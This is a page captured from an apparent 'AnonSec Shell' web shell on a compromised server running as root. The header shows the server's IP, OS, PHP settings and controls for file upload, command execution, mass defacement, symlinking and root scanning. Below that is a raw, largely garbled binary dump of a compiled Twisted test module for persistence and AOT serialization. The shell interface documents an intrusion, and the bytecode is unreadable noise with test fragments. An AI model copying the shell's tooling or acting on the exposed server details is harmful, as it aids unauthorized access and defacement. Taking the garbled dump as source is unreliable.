AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/test/__pycache__/test_persisted.cpython-310.pyc
o

�b_4�@s�ddlZddlZddlZddlZddlmZmZmZddlm	Z	ddl
mZGdd�de�ZGdd�dej
�ZGd	d
�d
ej
�ZGdd�de�ZGd
d�dee�ZGdd�de�ZGdd�dej�ZGdd�de�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd�d�Zdd�Ze�ee�Gdd �d �ZGd!d"�d"�Zd#d$�ZGd%d&�d&e�ZGd'd(�d(e�ZGd)d*�d*�Z Gd+d,�d,�Z!Gd-d.�d.e�Z"Gd/d0�d0e�Z#eeegZ$dS)1�N)�aot�crefutil�styles)�unittest)�TestCasec@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�VersionTestscCsPGdd�d�at�t��}Gdd�dtj�at�|�}t��|js&Jd��dS)Nc@�eZdZdd�ZdS)�
NullVersionedcS�
d|_dS)Nr��ok��self�r�=/usr/lib/python3/dist-packages/twisted/test/test_persisted.py�__init__�
zNullVersioned.__init__N��__name__�
__module__�__qualname__rrrrrr	�r	c@�eZdZdZdd�ZdS)r	�cSr
�Nrrr
rrr�upgradeToVersion1rzNullVersioned.upgradeToVersion1N)rrr�persistenceVersionrrrrrr	szinitial upgrade not run!)r	�pickle�dumpsr�	Versioned�loads�	doUpgrader)r�pkcl�mnvrrr�test_nullVersionUpgrades
z$VersionTests.test_nullVersionUpgradecCs�Gdd�dtj�at�}|js|jrJd��t�|�}dt_t�|�}t�	�|js.Jd��|js5Jd��t�|�}t�|�}t�	�|jdksLJd��|jdksUJd��dS)	Nc@s6eZdZdZdgZdZdZdd�Zdd�Zdd	�Z	d
S)�MyVersioned��garbagedatarcSsd|_dd�|_dS)N�xxxcSsdS)Nzcant persistr)�qrrr�<lambda>0sz&MyVersioned.__init__.<locals>.<lambda>)�somedatar'r
rrrr.szMyVersioned.__init__cS�|jd7_dSr)�v3r
rrr�upgradeToVersion32�zMyVersioned.upgradeToVersion3cSr,r)�v4r
rrr�upgradeToVersion45r/zMyVersioned.upgradeToVersion4N)
rrrr�persistenceForgetsr-r0rr.r1rrrrr%(sr%zhasn't been upgraded yet�zdidn't do version 3 upgradezdidn't do version 4 upgraderzupgraded unnecessarily)
rrr%r-r0rrrr r!)r�mv�pickl�objrrr�test_versionUpgrade%s



z VersionTests.test_versionUpgradecCs�Gdd�dtj�atdd�}tdd�}t�||f�}~~dt_dd�t_t�|�\}}t��|�	|j
d�|�	|j
d�|�|j�|�|j�dS)	Nc@�eZdZdd�Zdd�ZdS)�ClassWithCustomHashcSs||_||_dS�N)�unique�hash)rr;r<rrrrJs
zClassWithCustomHash.__init__cS�|jSr:)r<r
rrr�__hash__N�zClassWithCustomHash.__hash__N)rrrrr>rrrrr9Isr9�v1r�v2rcSst|dd�S�N�upgradedT��setattrr
rrrr*Ws�z3VersionTests.test_nonIdentityHash.<locals>.<lambda>)
rrr9rrrrr r!�assertEqualr;�
assertTruerC)rr@rA�pklrrr�test_nonIdentityHashFs


z!VersionTests.test_nonIdentityHashcs�Gdd�dtj�aGdd�dtj�at�}t�}t�|�t�|�}�~~dt_�fdd�}|t_dt_dd	�}|t_t�|�}t�	�|�
|jj�dS)
Nc@�eZdZdS)�	ToyClassAN�rrrrrrrrKd�rKc@rJ)�	ToyClassBNrLrrrrrNgrMrNrcst���|_t��dSr:)rr �yrr!r
��pklBrrrpszWVersionTests.test_upgradeDeserializesObjectsRequiringUpgrade.<locals>.upgradeToVersion1cSst|dd�dSrBrDr
rrr�setUpgradedwszQVersionTests.test_upgradeDeserializesObjectsRequiringUpgrade.<locals>.setUpgraded)
rrrKrNrrrrr r!rGrOrC)r�xrO�pklArrRrrPr�/test_upgradeDeserializesObjectsRequiringUpgradeas
z<VersionTests.test_upgradeDeserializesObjectsRequiringUpgradeN)rrrr$r7rIrUrrrrrs
!rc@rJ)�VersionedSubClassNrLrrrrrV�rMrVc@rJ)�SecondVersionedSubClassNrLrrrrrW�rMrWc@rJ)�VersionedSubSubClassNrLrrrrrX�rMrXc@rJ)�VersionedDiamondSubClassNrLrrrrrY�rMrYc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�AybabtuTestsz�
    L{styles._aybabtu} gets all of classes in the inheritance hierarchy of its
    argument that are strictly between L{Versioned} and the class itself.
    cCs|�t�tj�g�dS)zM
        L{styles._aybabtu} of L{Versioned} itself is an empty list.
        N)rFr�_aybabturr
rrr�test_aybabtuStrictEmpty�sz$AybabtuTests.test_aybabtuStrictEmptycCs|�t�t�g�dS)z�
        There are no classes I{between} L{VersionedSubClass} and L{Versioned},
        so L{styles._aybabtu} returns an empty list.
        N)rFrr[rVr
rrr�test_aybabtuStrictSubclass�sz'AybabtuTests.test_aybabtuStrictSubclasscCs|�t�t�tg�dS)z�
        With a sub-sub-class of L{Versioned}, L{styles._aybabtu} returns a list
        containing the intervening subclass.
        N)rFrr[rXrVr
rrr�test_aybabtuSubsubclass�sz$AybabtuTests.test_aybabtuSubsubclasscCs|�t�t�tttg�dS)z�
        For a diamond-shaped inheritance graph, L{styles._aybabtu} returns a
        list containing I{both} intermediate subclasses.
        N)rFrr[rYrXrVrWr
rrr�test_aybabtuStrict�s�zAybabtuTests.test_aybabtuStrictN)rrr�__doc__r\r]r^r_rrrrrZ�srZc@r)�MyEphemeralcC�
||_dSr:�rS�rrSrrrr�rzMyEphemeral.__init__Nrrrrrra�rrac@r)�EphemeralTestscCs\td�}|�|jt�|�|jd�t�|�}t�|�}|�|jtj�|�	t
|d��dS)N�rS)rarF�	__class__rSrrr r�	Ephemeral�assertFalse�hasattr)r�or5rrr�test_ephemeral�s

zEphemeralTests.test_ephemeralN)rrrrlrrrrre�rrec@r8)�
PickleablecCrbr:rcrdrrrr�rzPickleable.__init__cCr=r:rcr
rrr�getX�r?zPickleable.getXN)rrrrrnrrrrrm��rmc@r)�
NotPickleablez)
    A class that is not pickleable.
    cCstd��)z9
        Raise an exception instead of pickling.
        zNot serializable.)�	TypeErrorr
rrr�
__reduce__�szNotPickleable.__reduce__N)rrrr`rrrrrrrp��rpc@r)�CopyRegisteredzb
    A class that is pickleable only because it is registered with the
    C{copyreg} module.
    cCst�|_dS)zE
        Ensure that this object is normally not pickleable.
        N)rp�
notPickleabler
rrrr�szCopyRegistered.__init__N)rrrr`rrrrrrt��rtc@seZdZdZdS)�CopyRegisteredLoadedz2
    L{CopyRegistered} after unserialization.
    N)rrrr`rrrrrw�srwcCstdfS)z�
    Externally implement C{__reduce__} for L{CopyRegistered}.

    @param cr: The L{CopyRegistered} instance.

    @return: a 2-tuple of callable and argument list, in this case
        L{CopyRegisteredLoaded} and no arguments.
    r)rw)�crrrr�reduceCopyRegistered�s	ryc@r)�A�
    dummy class
    cC�dSr:rr
rrr�amethod�z	A.amethodN)rrrr`r}rrrrrz�rsrzc@r)�Br{cCr|r:rr
rrr�bmethodr~z	B.bmethodN)rrrr`r�rrrrrrsrcCr|r:rrrrr�funktionr~r�c@s eZdZdZdd�Zdd�ZdS)�
PicklingTestsz$Test pickling of extra object types.cCs$t�t�}t�|�}|�|t�dSr:)rrrr rF)rr5rkrrr�test_modules

zPicklingTests.test_modulecCsFtd�}t�|j�}t�|�}|�|�d�|�t|�t|j��dS)Nr3)rmrrrnr rF�type)rr6r5rkrrr�test_instanceMethods

z!PicklingTests.test_instanceMethodN)rrrr`r�r�rrrrr�sr�c@r)�StringIOTransitionTestsz�
    When pickling a cStringIO in Python 2, it should unpickle as a BytesIO or a
    StringIO in Python 3, depending on the type of its contents.
    cCs0d}t�|�}|�|tj�|�|��d�dS)zg
        A cStringIO pickled with bytes in it will yield an L{io.BytesIO} on
        python 3.
        sEctwisted.persisted.styles
unpickleStringI
p0
(S'test'
p1
I0
tp2
Rp3
.�testN)rr �assertIsInstance�io�StringIOrF�getvalue)r�pickledStringIWithText�loadedrrr�test_unpickleBytesIO*s
�
z,StringIOTransitionTests.test_unpickleBytesION)rrrr`r�rrrrr�$rvr�c@r)�
EvilSourcerorcCs||_||j_||jj_dSr:)�a�b�crdrrrr9szEvilSourceror.__init__Nrrrrrr�8rr�c@r8)�NonDictStatecCr=r:��stater
rrr�__getstate__@r?zNonDictState.__getstate__cCrbr:r�)rr�rrr�__setstate__CrzNonDictState.__setstate__N)rrrr�r�rrrrr�?ror�c@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�AOTTestsc
CsFddddtddd�ddtjddtf
}t�t�|��}|�||�dS)	Nrg@y@Tr&rf�hello�world)�slice�sys�maxsize�Ellipsisr�unjellyFromSource�
jellyToSourcerF)rr6�rtObjrrr�test_simpleTypesHs
�zAOTTests.test_simpleTypescCsLt�}t�}|j|_||_t�t�|��jj}|�t�|�j	t�
|��dSr:)rzrr�r�rr�r�rF�
_selfOfMethodrg�_classOfMethod)rr�r��im_rrr�test_methodSelfIdentityXsz AOTTests.test_methodSelfIdentitycCsPt�}t�}|j|_||_tj}t`z|�ttjt�|��W|t_dS|t_w)z�
        If a class change after an instance has been created,
        L{aot.unjellyFromSource} shoud raise a C{TypeError} when trying to
        unjelly the instance.
        N)	rzrr�r��assertRaisesrqrr�r�)rr�r��savedbmethodrrr�test_methodNotSelfIdentity`sz#AOTTests.test_methodNotSelfIdentitycCs$Gdd�d�}|�ttj|��dS)z�
        L{aot.jellyToSource} should raise a C{TypeError} when trying to jelly
        an unknown type without a C{__dict__} property or C{__getstate__}
        method.
        c@seZdZedd��ZdS)z2AOTTests.test_unsupportedType.<locals>.UnknownTypecSst��r:)�AttributeErrorr
rrr�__dict__ysz;AOTTests.test_unsupportedType.<locals>.UnknownType.__dict__N)rrr�propertyr�rrrr�UnknownTypexsr�N)r�rqrr�)rr�rrr�test_unsupportedTypeqszAOTTests.test_unsupportedTypecCs�t��j}d|d�}dddddddd	d	ttj|tg}t|�}|�|�|�|�|�|�t�t�||g��}|d
|dusBJ�|dd
d�|d
d�ksRJ�dS)Nr�)r��methodrr&rfzhe	llo

"x world!ugoodbye 
	တ world!g�?�dr�)	r�
AOTJellier�	jellyToAOrr��tuple�appendr�r�)r�aj�d�l�t�ujrrr�test_basicIdentitys,

�


$zAOTTests.test_basicIdentitycCs,t�}d|_t�t�|��j|jksJ�dS)Nz	meringue!)r�r�rr�r�)rr�rrr�test_nonDictState�s zAOTTests.test_nonDictStatecCs"t�t�t���}|�|t�dS)z�
        L{aot.jellyToSource} and L{aot.unjellyFromSource} honor functions
        registered in the pickle copy registry.
        N)rr�r�rtr�rw)rr�rrr�test_copyReg�szAOTTests.test_copyRegcCsVttg��}t�|�}t�|�}|j|usJ�|jj|jus J�|j|jjus)J�dSr:)r�r�
jellyToAOT�unjellyFromAOTr�r�r�)rrk�j1�ojrrr�test_funkyReferences�s

zAOTTests.test_funkyReferencescCsfg}|df}|�|�t�|�}t�|�}|�|dt�|�|dd|�|�|ddd�dS)zS
        L{aot.jellyToAOT} can persist circular references through tuples.
        i�rrN)r�rr�r�r�r��assertIsrF)rr�r�r�r�rrr�test_circularTuple�s


zAOTTests.test_circularTupleN)rrrr�r�r�r�r�r�r�r�r�rrrrr�Gs	r�c@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�
CrefUtilTestsz 
    Tests for L{crefutil}.
    cCs t�i�}|�t|jdd�dS)zO
        L{crefutil._DictKeyAndValue} only support keys C{0} and C{1}.
        r&rfN)r�_DictKeyAndValuer��RuntimeError�__setitem__�rr�rrr�test_dictUnknownKey�s
z!CrefUtilTests.test_dictUnknownKeycCs&t��}d|d<|�t|jdd�dS)zI
        L{crefutil._Defer} can be assigned a key only one time.
        rrN)r�_Deferr�r�r�r�rrr�test_deferSetMultipleTimes�sz(CrefUtilTests.test_deferSetMultipleTimescCs&t�gd�t�}|�t|jid�dS)z�
        A L{crefutil._Container} where all of its elements are known at
        construction time is nonsensical and will result in errors in any call
        to addDependant.
        )rr&rfz	ignore-meN)r�
_Container�listr��AssertionError�addDependant)r�	containerrrr�&test_containerWhereAllElementsAreKnown�sz4CrefUtilTests.test_containerWhereAllElementsAreKnowncCs|�tt�jt��d�dS)z�
        If a dictionary key contains a circular reference (which is probably a
        bad practice anyway) it will be resolved by a
        L{crefutil._DictKeyAndValue}, not by placing a L{crefutil.NotKnown}
        into a dictionary key.
        �valueN)r�r��dictr�r�NotKnownr
rrr�.test_dontPutCircularReferencesInDictionaryKeys�s�z<CrefUtilTests.test_dontPutCircularReferencesInDictionaryKeyscCs|�tt�dt��t��dS)z�
        L{crefutil._InstanceMethod} raises L{AssertionError} to indicate it
        should not be called.  This should not be possible with any of its API
        clients, but is provided for helping to debug.
        �no_nameN)r�r�r�_InstanceMethodr�r�r
rrr�*test_dontCallInstanceMethodsThatArentReady�s�z8CrefUtilTests.test_dontCallInstanceMethodsThatArentReadyN)	rrrr`r�r�r�r�r�rrrrr��s	r�)%�copyregr�rr��twisted.persistedrrr�
twisted.trialr�twisted.trial.unittestrrrrVrWrXrYrZrhrarermrprtrwryrzrr�r�r�r�r�r�r��	testCasesrrrr�<module>s>p%

		w4

Anon7 - 2022
AnonSec Team